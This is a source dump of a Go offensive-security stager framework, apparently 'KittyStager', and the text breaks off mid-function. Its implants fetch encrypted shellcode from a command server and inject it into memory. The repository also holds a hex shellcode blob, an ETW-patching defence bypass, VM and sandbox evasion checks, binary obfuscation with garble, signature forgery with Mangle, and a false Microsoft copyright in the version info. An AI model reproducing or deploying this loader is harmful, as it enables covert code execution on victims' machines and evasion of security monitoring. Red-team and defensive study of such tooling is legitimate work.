├── img ├── chat.png ├── KittyRecon.png ├── KittySleep.png ├── KittyTarget.png ├── KittyCheckin.png ├── KittyInteract.png └── KittyShellcode.png ├── shellcode ├── loader.bin └── shellcode.bin ├── kittens ├── basicKitten │ ├── resource.syso │ ├── conf.txt │ ├── versioninfo.json │ └── basicKitten.go ├── bananaKitten │ ├── conf.txt │ └── bananaKitten.go ├── dllKitten │ ├── conf.txt │ └── dllKitten.go ├── haloKitten │ ├── conf.txt │ └── haloKitten.go └── recycleKitten │ ├── conf.txt │ └── recycleKitten.go ├── .gitignore ├── cmd ├── generate │ ├── kittens.yml │ ├── generate.go │ └── generateUtil.go ├── config │ ├── conf.yml │ └── config.go ├── util │ ├── task.go │ ├── initialChecks.go │ ├── malConf.go │ └── util.go ├── crypto │ ├── cryptoUtil.go │ └── chacha20.go ├── http │ ├── kitten.go │ ├── httpServer.go │ ├── httpUtil.go │ └── opaque.go ├── malwareUtil │ ├── malwareUtil.go │ ├── opaque.go │ └── conUtil.go ├── cli │ ├── cli.go │ └── util.go └── srdi │ └── dllToShellcode.go ├── go.mod ├── kittyStager.go ├── README.md └── go.sum /img/chat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/chat.png -------------------------------------------------------------------------------- /img/KittyRecon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyRecon.png -------------------------------------------------------------------------------- /img/KittySleep.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittySleep.png -------------------------------------------------------------------------------- /img/KittyTarget.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyTarget.png -------------------------------------------------------------------------------- /img/KittyCheckin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyCheckin.png -------------------------------------------------------------------------------- /img/KittyInteract.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyInteract.png -------------------------------------------------------------------------------- /shellcode/loader.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/shellcode/loader.bin -------------------------------------------------------------------------------- /img/KittyShellcode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyShellcode.png -------------------------------------------------------------------------------- /kittens/basicKitten/resource.syso: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/KittyStager/main/kittens/basicKitten/resource.syso -------------------------------------------------------------------------------- /shellcode/shellcode.bin: -------------------------------------------------------------------------------- 1 | 505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3 -------------------------------------------------------------------------------- /kittens/bananaKitten/conf.txt: -------------------------------------------------------------------------------- 1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""} -------------------------------------------------------------------------------- /kittens/basicKitten/conf.txt: -------------------------------------------------------------------------------- 1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""} -------------------------------------------------------------------------------- /kittens/dllKitten/conf.txt: -------------------------------------------------------------------------------- 1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""} -------------------------------------------------------------------------------- /kittens/haloKitten/conf.txt: -------------------------------------------------------------------------------- 1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""} -------------------------------------------------------------------------------- /kittens/recycleKitten/conf.txt: -------------------------------------------------------------------------------- 1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""} -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | *.h 8 | 9 | # Test binary, built with `go test -c` 10 | *.test 11 | 12 | # Output of the go coverage tool, specifically when used with LiteIDE 13 | *.out 14 | /shellcode/* 15 | # Go workspace file 16 | go.work 17 | 18 | # idea files 19 | /.idea/ 20 | /test/ 21 | -------------------------------------------------------------------------------- /cmd/generate/kittens.yml: -------------------------------------------------------------------------------- 1 | Kittens: 2 | - name: "BasicKitten" 3 | path: "./kittens/basicKitten/" 4 | - name: "BananaKitten" 5 | path: "./kittens/bananaKitten" 6 | - name: "DllKitten" 7 | path: "./kittens/dllKitten" 8 | - name: "HaloKitten" 9 | path: "./kittens/haloKitten" 10 | - name: "RecycleKitten" 11 | path: "./kittens/recycleKitten" 12 | -------------------------------------------------------------------------------- /cmd/config/conf.yml: -------------------------------------------------------------------------------- 1 | Http: 2 | host: "127.0.0.1" 3 | port: 8080 4 | endpoint: "/legit" 5 | sleep: 1 6 | userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0" 7 | malPath: 8 | - "kittens/basicKitten/" 9 | - "kittens/bananaKitten/" 10 | - "kittens/dllKitten/" 11 | - "kittens/haloKitten/" 12 | - "kittens/recycleKitten/" 13 | reg1: "/reg1" 14 | reg2: "/reg2" 15 | auth1: "/auth1" 16 | auth2: "/auth2" -------------------------------------------------------------------------------- /cmd/util/task.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import "encoding/json" 4 | 5 | // Task is the struct that contains the tasks 6 | type Task struct { 7 | Tag string `json:"Tag"` 8 | Payload []byte `json:"Payload"` 9 | } 10 | 11 | func NewTask() *Task { 12 | return &Task{} 13 | } 14 | 15 | // TaskUnmarshalJSON unmarshal the json 16 | func TaskUnmarshalJSON(j []byte) (*Task, error) { 17 | iniCheck := NewTask() 18 | err := json.Unmarshal(j, &iniCheck) 19 | if err != nil { 20 | return &Task{}, err 21 | } 22 | return iniCheck, nil 23 | } 24 | 25 | func (T *Task) GetTag() string { 26 | return T.Tag 27 | } 28 | 29 | func (T *Task) SetTag(t string) { 30 | T.Tag = t 31 | } 32 | 33 | func (T *Task) GetPayload() []byte { 34 | return T.Payload 35 | } 36 | 37 | func (T *Task) SetPayload(p []byte) { 38 | T.Payload = p 39 | } 40 | -------------------------------------------------------------------------------- /kittens/basicKitten/versioninfo.json: -------------------------------------------------------------------------------- 1 | { 2 | "FixedFileInfo": { 3 | "FileVersion": { 4 | "Major": 1, 5 | "Minor": 0, 6 | "Patch": 0, 7 | "Build": 0 8 | }, 9 | "ProductVersion": { 10 | "Major": 1, 11 | "Minor": 0, 12 | "Patch": 0, 13 | "Build": 0 14 | }, 15 | "FileFlagsMask": "3f", 16 | "FileFlags ": "00", 17 | "FileOS": "040004", 18 | "FileType": "01", 19 | "FileSubType": "00" 20 | }, 21 | "StringFileInfo": { 22 | "Comments": "", 23 | "CompanyName": "", 24 | "FileDescription": "", 25 | "FileVersion": "", 26 | "InternalName": "", 27 | "LegalCopyright": "© Microsoft Corporation. All rights reserved.", 28 | "LegalTrademarks": "", 29 | "OriginalFilename": "", 30 | "PrivateBuild": "", 31 | "ProductName": "", 32 | "ProductVersion": "v1.3.5.1", 33 | "SpecialBuild": "" 34 | }, 35 | "VarFileInfo": { 36 | "Translation": { 37 | "LangID": "0409", 38 | "CharsetID": "04B0" 39 | } 40 | }, 41 | "IconPath": "", 42 | "ManifestPath": "" 43 | } 44 | -------------------------------------------------------------------------------- /cmd/crypto/cryptoUtil.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | // Encrypt cypher the shellcode with chacha20 8 | func Encrypt(payload []byte, key string) ([]byte, error) { 9 | if len(key) != 32 { 10 | return nil, errors.New("the key needs to be 32 chars long") 11 | } 12 | chacha20 := NewChaCha20() 13 | byteKey := []byte(key) 14 | cypherPayload, _ := chacha20.Encrypt(payload, byteKey) 15 | return cypherPayload, nil 16 | } 17 | 18 | // Decrypt decode the payload with chacha20 19 | func Decrypt(cypherText []byte, key []byte) ([]byte, error) { 20 | if len(key) != 32 { 21 | return nil, errors.New("the key needs to be 32 chars long") 22 | } 23 | chacha20 := NewChaCha20() 24 | byteKey := key 25 | plainText, _ := chacha20.Decrypt(cypherText, byteKey) 26 | return plainText, nil 27 | } 28 | 29 | // GenerateKey generate the key with the hostname 30 | func GenerateKey(hostname string, size int) string { 31 | // generate 32 char key 32 | key := hostname 33 | for len(key) < size { 34 | key = key + hostname 35 | } 36 | if len(key) > size { 37 | key = key[:size] 38 | } 39 | return key 40 | } 41 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module KittyStager 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/C-Sto/BananaPhone v0.0.0-20220322014042-1265045cb6c5 7 | github.com/JoaoDanielRufino/go-input-autocomplete v1.0.4 8 | github.com/briandowns/spinner v1.19.0 9 | github.com/c-bata/go-prompt v0.2.6 10 | github.com/fourcorelabs/wintoken v1.0.0 11 | github.com/frekui/opaque v0.2.0 12 | github.com/logrusorgru/aurora v2.0.3+incompatible 13 | github.com/timwhitez/Doge-Gabh v1.9.2 14 | golang.org/x/crypto v0.1.0 15 | golang.org/x/sys v0.1.0 16 | gopkg.in/yaml.v3 v3.0.1 17 | ) 18 | 19 | require ( 20 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee // indirect 21 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect 22 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807 // indirect 23 | github.com/fatih/color v1.7.0 // indirect 24 | github.com/mattn/go-colorable v0.1.9 // indirect 25 | github.com/mattn/go-isatty v0.0.16 // indirect 26 | github.com/mattn/go-runewidth v0.0.13 // indirect 27 | github.com/mattn/go-tty v0.0.3 // indirect 28 | github.com/pkg/term v1.2.0-beta.2 // indirect 29 | github.com/rivo/uniseg v0.2.0 // indirect 30 | ) 31 | -------------------------------------------------------------------------------- /kittens/basicKitten/basicKitten.go: -------------------------------------------------------------------------------- 1 | //go:generate goversioninfo 2 | //go:build windows 3 | 4 | package main 5 | 6 | import ( 7 | "KittyStager/cmd/malwareUtil" 8 | "KittyStager/cmd/util" 9 | _ "embed" 10 | "golang.org/x/sys/windows" 11 | ) 12 | 13 | //go:embed conf.txt 14 | var t string 15 | 16 | func main() { 17 | malConf, err := util.MalConfUnmarshalJSON([]byte(t)) 18 | if err != nil { 19 | return 20 | } 21 | shellcode := malwareUtil.Connect(malConf) 22 | inject(shellcode) 23 | } 24 | 25 | func inject(shellcode []byte) { 26 | kernel32 := windows.NewLazySystemDLL("kernel32.dll") 27 | createThread := kernel32.NewProc("CreateThread") 28 | shellcodeExec, _ := windows.VirtualAlloc( 29 | uintptr(0), 30 | uintptr(len(shellcode)), 31 | windows.MEM_COMMIT|windows.MEM_RESERVE, 32 | windows.PAGE_READWRITE) 33 | 34 | malwareUtil.Memcpy(shellcodeExec, shellcode) 35 | 36 | var oldProtect uint32 37 | windows.VirtualProtect( 38 | shellcodeExec, 39 | uintptr(len(shellcode)), 40 | windows.PAGE_EXECUTE_READ, 41 | &oldProtect) 42 | 43 | hThread, _, _ := createThread.Call( 44 | 0, 45 | 0, 46 | shellcodeExec, 47 | uintptr(0), 48 | 0, 49 | 0) 50 | 51 | windows.WaitForSingleObject( 52 | windows.Handle(hThread), 53 | windows.INFINITE) 54 | } 55 | -------------------------------------------------------------------------------- /cmd/generate/generate.go: -------------------------------------------------------------------------------- 1 | package generate 2 | 3 | import ( 4 | "errors" 5 | "gopkg.in/yaml.v3" 6 | "os" 7 | "path/filepath" 8 | ) 9 | 10 | type KittenList struct { 11 | Kittens []Kittens `yaml:"Kittens"` 12 | } 13 | type Kittens struct { 14 | Name string `yaml:"name"` 15 | Path string `yaml:"path"` 16 | Compile string `yaml:"compile"` 17 | } 18 | 19 | func NewKittenList() (*KittenList, error) { 20 | var list KittenList 21 | filename, err := filepath.Abs("cmd\\generate\\kittens.yml") 22 | if err != nil { 23 | return nil, err 24 | } 25 | file, err := os.ReadFile(filename) 26 | if err != nil { 27 | return nil, err 28 | } 29 | err = yaml.Unmarshal(file, &list) 30 | if err != nil { 31 | return nil, err 32 | } 33 | return &list, error(nil) 34 | } 35 | 36 | func (k *KittenList) GetKittenNames() []string { 37 | var names []string 38 | for _, v := range k.Kittens { 39 | names = append(names, v.Name) 40 | } 41 | return names 42 | } 43 | 44 | func (k *KittenList) GetKittenPaths() []string { 45 | var paths []string 46 | for _, v := range k.Kittens { 47 | paths = append(paths, v.Path) 48 | } 49 | return paths 50 | } 51 | 52 | func (k *KittenList) GetKittensPath(name string) (string, error) { 53 | for _, v := range k.Kittens { 54 | if v.Name == name { 55 | return v.Path, error(nil) 56 | } 57 | } 58 | return "", errors.New("kitten not found") 59 | } 60 | 61 | func (k *KittenList) GetKittensCompile(name string) (string, error) { 62 | for _, v := range k.Kittens { 63 | if v.Name == name { 64 | return v.Compile, error(nil) 65 | } 66 | } 67 | return "", errors.New("kitten not found") 68 | } 69 | -------------------------------------------------------------------------------- /kittyStager.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "KittyStager/cmd/cli" 5 | "KittyStager/cmd/config" 6 | "KittyStager/cmd/http" 7 | "KittyStager/cmd/util" 8 | "flag" 9 | "fmt" 10 | color "github.com/logrusorgru/aurora" 11 | "time" 12 | ) 13 | 14 | func main() { 15 | path := flag.String("p", "cmd/config/conf.yml", "Path to the config file") 16 | flag.Parse() 17 | fmt.Println(color.Cyan(" _\n / )\n ( (\n A.-.A .-\"\"-. ) )\n / , , \\/ \\/ /\n =\\ t ;= / /\n `--,' .\"\"| /\n || | \\\\ \\\n ((,_| ((,_\\\n")) 18 | fmt.Println(color.Cyan("KittyStager - A simple stager written in Go\n")) 19 | // Get the config 20 | conf, err := config.NewConfig(*path) 21 | if err != nil { 22 | util.ErrPrint(err) 23 | return 24 | } 25 | // Check the config 26 | err = conf.CheckConfig() 27 | if err != nil { 28 | util.ErrPrint(err) 29 | 30 | return 31 | } 32 | fmt.Println(color.Green("[+] Config loaded")) 33 | // Generate config file for the malware's 34 | err = util.GenerateConfig(*conf) 35 | if err != nil { 36 | util.ErrPrint(err) 37 | return 38 | } 39 | fmt.Println(color.Green("[+] Config file generated")) 40 | fmt.Println(color.Green("[+] Starting http server")) 41 | fmt.Printf("%s %d%s %s %s\n", color.Green("[+] Sleep set to"), color.Yellow(conf.GetSleep()), color.Yellow("s"), color.Green("on"), color.Yellow("all targets")) 42 | 43 | // Start the http server 44 | go http.CreateHttpServer(*conf) 45 | go http.CheckAlive() 46 | //wait for the http server to start 47 | time.Sleep(200 * time.Millisecond) 48 | cli.Cli(*conf) 49 | } 50 | -------------------------------------------------------------------------------- /cmd/crypto/chacha20.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/cipher" 5 | "errors" 6 | "golang.org/x/crypto/chacha20poly1305" 7 | ) 8 | 9 | //https://github.com/alinz/crypto.go/blob/main/chacha20.go 10 | 11 | // ChaCha20 enecryption type 12 | type ChaCha20 struct{} 13 | 14 | func (c ChaCha20) prepareKey(key []byte) (cipher.AEAD, int, error) { 15 | aead, err := chacha20poly1305.NewX(key) 16 | if err != nil { 17 | return nil, 0, err 18 | } 19 | return aead, aead.NonceSize(), nil 20 | } 21 | 22 | // Encrypt encrypts data using given key 23 | func (c ChaCha20) Encrypt(data []byte, key []byte) ([]byte, error) { 24 | aead, nonceSize, err := c.prepareKey(key) 25 | if err != nil { 26 | return nil, err 27 | } 28 | 29 | // Select a random nonce, and leave capacity for the ciphertext. 30 | nonce := make([]byte, nonceSize, nonceSize+len(data)+aead.Overhead()) 31 | 32 | // Encrypt the message and append the ciphertext to the nonce. 33 | return aead.Seal(nonce, nonce, data, nil), nil 34 | } 35 | 36 | // Decrypt decrypts data using given key 37 | func (c ChaCha20) Decrypt(data []byte, key []byte) ([]byte, error) { 38 | aead, nonceSize, err := c.prepareKey(key) 39 | if err != nil { 40 | return nil, err 41 | } 42 | 43 | if len(data) < nonceSize { 44 | return nil, errors.New("ciphertext too short") 45 | } 46 | 47 | // Split nonce and ciphertext. 48 | nonce, ciphertext := data[:nonceSize], data[nonceSize:] 49 | 50 | // Decrypt the message and check it wasn't tampered with. 51 | plaintext, err := aead.Open(nil, nonce, ciphertext, nil) 52 | if err != nil { 53 | if err.Error() == "chacha20poly1305: message authentication failed" { 54 | return nil, errors.New("wrong key") 55 | } 56 | return nil, err 57 | } 58 | 59 | return plaintext, nil 60 | } 61 | 62 | func NewChaCha20() *ChaCha20 { 63 | return &ChaCha20{} 64 | } 65 | -------------------------------------------------------------------------------- /cmd/generate/generateUtil.go: -------------------------------------------------------------------------------- 1 | package generate 2 | 3 | import ( 4 | "fmt" 5 | "os/exec" 6 | ) 7 | 8 | func GoBuild(output, path string) (error, string) { 9 | cmd := exec.Command("powershell", "go", "build", "-ldflags", "\"-H=windowsgui -s -w\"", "-o", output, path) 10 | cmdLine := fmt.Sprintf("%s", cmd.Args) 11 | err := cmd.Run() 12 | if err != nil { 13 | return err, "" 14 | } 15 | return error(nil), cmdLine 16 | } 17 | 18 | func GarbleBuild(output, path string) (error, string) { 19 | cmd1 := exec.Command("garble", "-h") 20 | err := cmd1.Run() 21 | if err.Error() != "exit status 2" { 22 | return err, "" 23 | } 24 | cmd2 := exec.Command("garble", "-tiny", "build", "-o", output, path) 25 | cmdLine := fmt.Sprintf("%s", cmd2.Args) 26 | fmt.Println(cmdLine) 27 | err2 := cmd2.Run() 28 | if err2 != nil { 29 | fmt.Println(cmd2.CombinedOutput()) 30 | return err2, "" 31 | } 32 | return error(nil), cmdLine 33 | } 34 | 35 | func Signe(signedBinary, path string) (error, string) { 36 | cmd1 := exec.Command("Mangle", "-h") 37 | err := cmd1.Run() 38 | if err != nil { 39 | return err, "" 40 | } 41 | cmd2 := exec.Command("Mangle", "-C", signedBinary, "-M", "-I", path, "-O", path) 42 | cmdLine := fmt.Sprintf("%s", cmd2.Args) 43 | err = cmd2.Run() 44 | if err != nil { 45 | fmt.Println(cmd2.CombinedOutput()) 46 | return err, "" 47 | } 48 | return error(nil), cmdLine 49 | } 50 | 51 | func Description(path string) (error, string) { 52 | cmd1 := exec.Command("goversioninfo") 53 | err := cmd1.Run() 54 | if err.Error() != "exit status 1" { 55 | fmt.Println(err) 56 | return err, "" 57 | } 58 | cmd2 := exec.Command("go", "generate", path) 59 | cmdLine := fmt.Sprintf("%s", cmd2.Args) 60 | err = cmd2.Run() 61 | if err != nil { 62 | fmt.Println(cmd2.CombinedOutput()) 63 | return err, "" 64 | } 65 | return error(nil), cmdLine 66 | } 67 | -------------------------------------------------------------------------------- /cmd/http/kitten.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "KittyStager/cmd/util" 5 | "github.com/frekui/opaque" 6 | "time" 7 | ) 8 | 9 | // Kitten is a struct that contains all the information about a kittens 10 | type Kitten struct { 11 | Name string 12 | Payload []byte 13 | Sleep int 14 | Id int 15 | LastSeen time.Time 16 | InitChecks util.InitialChecks 17 | Alive bool 18 | Key string 19 | Opaque *opaque.User 20 | } 21 | 22 | func NewKitten() *Kitten { 23 | return &Kitten{} 24 | } 25 | 26 | func (K *Kitten) GetName() string { 27 | return K.Name 28 | } 29 | 30 | func (K *Kitten) SetName(name string) { 31 | K.Name = name 32 | } 33 | 34 | func (K *Kitten) GetPayload() []byte { 35 | return K.Payload 36 | } 37 | 38 | func (K *Kitten) SetPayload(sc []byte) { 39 | K.Payload = sc 40 | } 41 | 42 | func (K *Kitten) GetId() int { 43 | return K.Id 44 | } 45 | 46 | func (K *Kitten) SetId(id int) { 47 | K.Id = id 48 | } 49 | 50 | func (K *Kitten) GetLastSeen() time.Time { 51 | return K.LastSeen 52 | } 53 | 54 | func (K *Kitten) SetLastSeen(t time.Time) { 55 | K.LastSeen = t 56 | } 57 | 58 | func (K *Kitten) GetInitChecks() util.InitialChecks { 59 | return K.InitChecks 60 | } 61 | 62 | func (K *Kitten) SetInitChecks(c util.InitialChecks) { 63 | K.InitChecks = c 64 | } 65 | 66 | func (K *Kitten) GetSleep() int { 67 | return K.Sleep 68 | } 69 | 70 | func (K *Kitten) SetSleep(t int) { 71 | K.Sleep = t 72 | } 73 | 74 | func (K *Kitten) GetAlive() bool { 75 | return K.Alive 76 | } 77 | 78 | func (K *Kitten) SetAlive(b bool) { 79 | K.Alive = b 80 | } 81 | 82 | func (K *Kitten) GetKey() string { 83 | return K.Key 84 | } 85 | 86 | func (K *Kitten) SetKey(key string) { 87 | K.Key = key 88 | } 89 | 90 | func (K *Kitten) GetOpaque() *opaque.User { 91 | return K.Opaque 92 | } 93 | 94 | func (K *Kitten) SetOpaque(u *opaque.User) { 95 | K.Opaque = u 96 | } 97 | -------------------------------------------------------------------------------- /cmd/malwareUtil/malwareUtil.go: -------------------------------------------------------------------------------- 1 | package malwareUtil 2 | 3 | import ( 4 | "golang.org/x/sys/windows" 5 | "net/http" 6 | "syscall" 7 | "unsafe" 8 | ) 9 | 10 | var ( 11 | fntdll = syscall.NewLazyDLL("ntdll.dll") 12 | fucketw = fntdll.NewProc("EtwEventWrite") 13 | k32 = syscall.NewLazyDLL("kernel32.dll") 14 | WriteProcessMemory = k32.NewProc("WriteProcessMemory") 15 | ) 16 | 17 | // EtwPatch patches the EtwEventWrite function 18 | // https://github.com/timwhitez/Doge-Assembly/blob/main/loader/etw.go 19 | // write arbitrary ret opcodes into the ETW event writing function (EtwEventWrite) to bypass ETW 20 | func EtwPatch(hProcess uintptr) { 21 | var oldProtect uint32 22 | var patch = []byte{0xc3} 23 | 24 | windows.VirtualProtect(fucketw.Addr(), 1, windows.PAGE_EXECUTE_READWRITE, &oldProtect) 25 | WriteProcessMemory.Call(hProcess, fucketw.Addr(), uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), 0) 26 | windows.VirtualProtect(fucketw.Addr(), 1, oldProtect, &oldProtect) 27 | } 28 | 29 | // VmCheck checks if the process is running in a VM and returns true 30 | func VmCheck() bool { 31 | if checkRam() { 32 | return true 33 | } 34 | if checkUrl() { 35 | return true 36 | } 37 | return false 38 | } 39 | 40 | // Memcpy is a replacement for the C memcpy function 41 | // https://github.dev/timwhitez/Doge-Gabh/blob/main/example/shellcodecalc/calc.go 42 | func Memcpy(base uintptr, buf []byte) { 43 | for i := 0; i < len(buf); i++ { 44 | *(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i] 45 | } 46 | } 47 | 48 | // checkRam checks if the system has less than 1GB of ram 49 | func checkRam() bool { 50 | var mem uint64 51 | k32.NewProc("GetPhysicallyInstalledSystemMemory").Call(uintptr(unsafe.Pointer(&mem))) 52 | // if ram is less than 1GB, return false 53 | return mem < 1000000 54 | } 55 | 56 | // checkUrl checks if a random url exist 57 | func checkUrl() bool { 58 | n := generateName(8) 59 | url := "http://" + n + ".com" 60 | _, err := http.Get(url) 61 | if err == nil { 62 | // if the url exists, return true 63 | return true 64 | } 65 | return false 66 | } 67 | -------------------------------------------------------------------------------- /cmd/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "errors" 5 | "gopkg.in/yaml.v3" 6 | "log" 7 | "os" 8 | "path/filepath" 9 | ) 10 | 11 | // General is the struct that contains the config 12 | type General struct { 13 | Conf Http `yaml:"Http"` 14 | } 15 | 16 | type Http struct { 17 | Host string `yaml:"host"` 18 | Port int `yaml:"port"` 19 | EndPoint string `yaml:"endpoint"` 20 | Sleep int `yaml:"sleep"` 21 | UserAgent string `yaml:"userAgent"` 22 | MalPath []string `yaml:"malPath,flow"` 23 | Reg1 string `yaml:"reg1"` 24 | Reg2 string `yaml:"reg2"` 25 | Auth1 string `yaml:"auth1"` 26 | Auth2 string `yaml:"auth2"` 27 | } 28 | 29 | func NewConfig(path string) (*General, error) { 30 | var conf General 31 | filename, err := filepath.Abs(path) 32 | if err != nil { 33 | return &conf, err 34 | } 35 | file, err := os.ReadFile(filename) 36 | if err != nil { 37 | return &conf, err 38 | } 39 | err = yaml.Unmarshal(file, &conf) 40 | if err != nil { 41 | log.Fatal(err) 42 | } 43 | return &conf, error(nil) 44 | } 45 | 46 | func (c *General) GetHost() string { 47 | return c.Conf.Host 48 | } 49 | 50 | func (c *General) GetPort() int { 51 | return c.Conf.Port 52 | } 53 | 54 | func (c *General) GetEndpoint() string { 55 | return c.Conf.EndPoint 56 | } 57 | 58 | func (c *General) GetMalPath() []string { 59 | return c.Conf.MalPath 60 | } 61 | 62 | func (c *General) GetMalPathWithId(i int) string { 63 | return c.Conf.MalPath[i] 64 | } 65 | 66 | func (c *General) GetUserAgent() string { 67 | return c.Conf.UserAgent 68 | } 69 | 70 | func (c *General) GetSleep() int { 71 | return c.Conf.Sleep 72 | } 73 | 74 | func (c *General) GetReg1() string { 75 | return c.Conf.Reg1 76 | } 77 | 78 | func (c *General) GetReg2() string { 79 | return c.Conf.Reg2 80 | } 81 | 82 | func (c *General) GetAuth1() string { 83 | return c.Conf.Auth1 84 | } 85 | 86 | func (c *General) GetAuth2() string { 87 | return c.Conf.Auth2 88 | } 89 | 90 | func (c *General) CheckConfig() error { 91 | if c.Conf.Host == "" || c.Conf.Port == 0 || c.Conf.EndPoint == "" || c.Conf.UserAgent == "" || c.Conf.MalPath == nil { 92 | return errors.New("please check your config file") 93 | } 94 | return nil 95 | } 96 | -------------------------------------------------------------------------------- /cmd/util/initialChecks.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import "encoding/json" 4 | 5 | // InitialChecks is the struct that contains the initial recon 6 | type InitialChecks struct { 7 | Hostname string `json:"hostname"` 8 | Username string `json:"username"` 9 | Domain string `json:"domain"` 10 | Ip string `json:"ip"` 11 | KittenName string `json:"name"` 12 | Dir []string `json:"folders,flow"` 13 | //process 14 | Pid int `json:"pid"` 15 | PName string `json:"pname"` 16 | Path string `json:"path"` 17 | } 18 | 19 | func NewInitialChecks() *InitialChecks { 20 | return &InitialChecks{} 21 | } 22 | 23 | // InitUnmarshalJSON unmarshal the json 24 | func InitUnmarshalJSON(j []byte) (*InitialChecks, error) { 25 | iniCheck := NewInitialChecks() 26 | err := json.Unmarshal(j, &iniCheck) 27 | if err != nil { 28 | return &InitialChecks{}, err 29 | } 30 | return iniCheck, nil 31 | } 32 | 33 | func (I *InitialChecks) GetHostname() string { 34 | return I.Hostname 35 | } 36 | 37 | func (I *InitialChecks) SetHostname(h string) { 38 | I.Hostname = h 39 | } 40 | 41 | func (I *InitialChecks) GetUsername() string { 42 | return I.Username 43 | } 44 | 45 | func (I *InitialChecks) SetUsername(u string) { 46 | I.Username = u 47 | } 48 | 49 | func (I *InitialChecks) GetDir() []string { 50 | return I.Dir 51 | } 52 | 53 | func (I *InitialChecks) SetDir(d []string) { 54 | I.Dir = d 55 | } 56 | 57 | func (I *InitialChecks) GetIp() string { 58 | return I.Ip 59 | } 60 | 61 | func (I *InitialChecks) SetIp(ip string) { 62 | I.Ip = ip 63 | } 64 | 65 | func (I *InitialChecks) GetKittenName() string { 66 | return I.KittenName 67 | } 68 | 69 | func (I *InitialChecks) SetKittenName(k string) { 70 | I.KittenName = k 71 | } 72 | 73 | func (I *InitialChecks) GetDomain() string { 74 | return I.Domain 75 | } 76 | 77 | func (I *InitialChecks) SetDomain(d string) { 78 | I.Domain = d 79 | } 80 | 81 | func (I *InitialChecks) GetPid() int { 82 | return I.Pid 83 | } 84 | 85 | func (I *InitialChecks) SetPid(p int) { 86 | I.Pid = p 87 | } 88 | 89 | func (I *InitialChecks) GetPName() string { 90 | return I.PName 91 | } 92 | 93 | func (I *InitialChecks) SetPName(p string) { 94 | I.PName = p 95 | } 96 | 97 | func (I *InitialChecks) GetPath() string { 98 | return I.Path 99 | } 100 | 101 | func (I *InitialChecks) SetPath(p string) { 102 | I.Path = p 103 | } 104 | -------------------------------------------------------------------------------- /cmd/malwareUtil/opaque.go: -------------------------------------------------------------------------------- 1 | package malwareUtil 2 | 3 | import ( 4 | "KittyStager/cmd/crypto" 5 | "KittyStager/cmd/util" 6 | "encoding/base64" 7 | "encoding/json" 8 | "fmt" 9 | "github.com/frekui/opaque" 10 | ) 11 | 12 | // doPwReg is the OPAQUE registration sequence 13 | func doPwreg(username, password string, conf *util.MalConf) error { 14 | endpoint1 := conf.Reg1 15 | endpoint2 := conf.Reg2 16 | sess, msg1, err := opaque.PwRegInit(username, password, 512) 17 | if err != nil { 18 | return err 19 | } 20 | data1, err := json.Marshal(msg1) 21 | if err != nil { 22 | return err 23 | } 24 | sleep(conf.Sleep) 